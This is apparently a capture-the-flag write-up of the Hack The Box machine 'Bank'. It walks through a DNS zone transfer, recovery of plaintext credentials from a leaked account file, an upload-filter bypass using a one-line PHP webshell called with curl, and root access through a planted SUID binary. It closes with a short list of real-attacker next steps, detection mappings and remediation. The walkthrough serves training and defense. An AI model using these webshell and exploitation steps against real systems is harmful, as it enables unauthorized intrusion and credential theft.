HTB: Bank | securitea.tech

Overview

Bank is an Easy-rated Linux machine running Ubuntu 14.04 with three services: SSH, DNS (ISC BIND 9.9.5), and Apache. The presence of a DNS server on a web application box is unusual and immediately signals that DNS enumeration is worth pursuing.

The attack chain crosses four distinct weakness classes. A DNS zone transfer discloses the domain structure and a username. An open directory of encrypted account files contains one outlier where encryption failed, leaving plaintext credentials. A debug configuration maps the .htb file extension to the PHP handler, bypassing upload restrictions. A custom SUID binary at a non-standard path grants instant root with no authentication.

Reconnaissance

I start with a service scan:

nmap -sC -sV 10.129.29.200

Port	Service	Product / Version	Notes
22	SSH	OpenSSH 6.6.1p1	Ubuntu 14.04
53	DNS	ISC BIND 9.9.5	Unusual for a web app box
80	HTTP	Apache httpd 2.4.7	Requires hostname to serve app

Port 53 on an application server is a strong indicator that the box is its own authoritative DNS server. Zone transfers are worth attempting.

Attack Surface Analysis

DNS zone transfer

A zone transfer against bank.htb succeeds without authentication:

dig axfr bank.htb @10.129.29.200

Records returned include bank.htb (SOA), ns.bank.htb (A), and www.bank.htb (CNAME). The SOA contact field chris.bank.htb gives us a likely username: chris.

After adding bank.htb to /etc/hosts, browsing to http://bank.htb presents a login page titled “HTB Bank - Login”.

Web application

Browsing to http://bank.htb presents a login page titled “HTB Bank - Login”. Without credentials, I move to directory enumeration.

Balance transfer directory

Gobuster discovers /balance-transfer/, an open directory listing containing hundreds of .acc files. Each file holds account data (name, email, password) encrypted with an unknown algorithm.

Most files are approximately 583 bytes. The key insight is to sort by size and look for outliers. When hundreds of files have the same size but one differs, that anomaly is always worth investigating:

68576f20e9732f1b2edc4df5b8533230.acc  -  257 bytes

The smaller file size indicates the encryption process failed for this account, leaving the data in plaintext:

--]    Email: [email protected]
--]    Password: !##HTBB4nkP4ssw0rd!##

Vulnerability Analysis

The application has two distinct vulnerabilities after authentication:

File upload bypass: The support ticket page at /support.php includes a file upload feature. The application rejects .php files. However, an HTML comment in the page source reveals a debug configuration:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

A custom Apache handler maps .htb files to the PHP interpreter. Uploading a file with the .htb extension bypasses the extension whitelist while still executing as PHP.

Custom SUID binary: A search for SUID binaries reveals /var/htb/bin/emergency, a 32-bit ELF binary owned by root with the SUID bit set. Running it drops directly into a root shell with no authentication or input required.

Exploitation

curl -X POST http://bank.htb/ \
  -d "[email protected]&inputPassword=!%23%23HTBB4nkP4ssw0rd!%23%23&submitadd=Submit"

Authentication succeeds. The session cookie grants access to the support ticket page.

Step 2: Upload webshell

I upload a PHP webshell with the .htb extension:

# shell.htb contains: <?php system($_GET['cmd']); ?>
curl -b "session_cookie" -F "[email protected]" http://bank.htb/support.php

The file is accessible at http://bank.htb/uploads/shell.htb:

curl "http://bank.htb/uploads/shell.htb?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Privilege escalation via SUID binary

find / -perm -4000 -type f 2>/dev/null
# /var/htb/bin/emergency

Running the binary drops directly to a root shell:

/var/htb/bin/emergency
# uid=0(root) gid=33(www-data) groups=33(www-data)

Both flags captured.

Post-Exploitation

With root access, I enumerate the system:

uname -a
# Linux bank 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64

cat /etc/os-release | head -2
# NAME="Ubuntu"
# VERSION="14.04.2 LTS, Trusty Tahr"

The MySQL database contains additional user accounts with encrypted passwords. The encryption key used for the .acc files could potentially be extracted from the application source to decrypt the remaining account data.

The failed encryption on one account file is particularly instructive. The application encrypted hundreds of records successfully but had no error handling for the one that failed. No retry, no alert, no access restriction on the unencrypted file. It was served alongside the encrypted ones with identical permissions.

The custom SUID binary at /var/htb/bin/emergency is also notable. Its existence at a non-standard path suggests deliberate placement. In a production environment, SUID binaries should be audited regularly with automated scans:

find / -perm -4000 -type f 2>/dev/null | grep -v '/usr\|/bin\|/sbin'
# /var/htb/bin/emergency

Any SUID binary outside the standard system paths (/usr/bin, /usr/sbin, etc.) warrants immediate investigation.

What a real attacker does next

Database extraction: Full MySQL dump for credential harvesting
Application analysis: Extract the encryption key for the .acc files
Lateral movement: Test discovered credentials against other systems
Persistence: Modify the application to capture future login credentials

Defensive Analysis

Detection opportunities

Phase	MITRE ATT&CK	Detection
Reconnaissance	T1590.002	DNS zone transfer from non-secondary nameserver
Credential access	T1552.001	Access to `/balance-transfer/` directory (unusual access pattern)
Initial access	T1078.001	Login with valid credentials from suspicious source IP
Execution	T1505.003	Webshell upload: PHP execution from uploads directory
Priv escalation	T1548.001	Execution of non-standard SUID binary at `/var/htb/bin/`

DNS: BIND should be configured with allow-transfer ACLs restricting zone transfers to authorised secondary nameservers only. Zone transfer requests from arbitrary IPs should be logged and alerted.

File integrity: The uploads directory should be monitored for new files with executable extensions. Better yet, uploads should be stored outside the webroot entirely.

Remediation

Priority	Action	Effort	Impact
P0	Remove the custom SUID binary `/var/htb/bin/emergency`	Low	Critical
P0	Remove the `.htb` PHP handler mapping	Low	Critical
P0	Restrict DNS zone transfers (`allow-transfer` ACL)	Low	High
P1	Fix encryption error handling: retry, alert, or delete failed records	Medium	High
P1	Store uploads outside webroot; validate file content (magic bytes)	Medium	High
P2	Remove debug HTML comments from production code	Low	Medium
P2	Implement SUID binary auditing (periodic `find -perm -4000`)	Low	Medium

Key Takeaways

DNS zone transfers are low-hanging fruit. An unrestricted zone transfer disclosed the entire domain structure and a username. This is a one-line BIND configuration fix (allow-transfer { none; };) that many administrators overlook.
Error handling failures create security gaps. The encryption process failed silently on one account, leaving plaintext credentials exposed. Every cryptographic operation should have failure handling: retry, delete the plaintext, or alert an administrator. Never serve unencrypted data alongside encrypted data.
Debug configurations in production are a recurring vulnerability class. The .htb PHP handler was explicitly documented as a debug feature in an HTML comment. Debug configurations must be stripped before deployment. Build pipelines should enforce this with automated checks.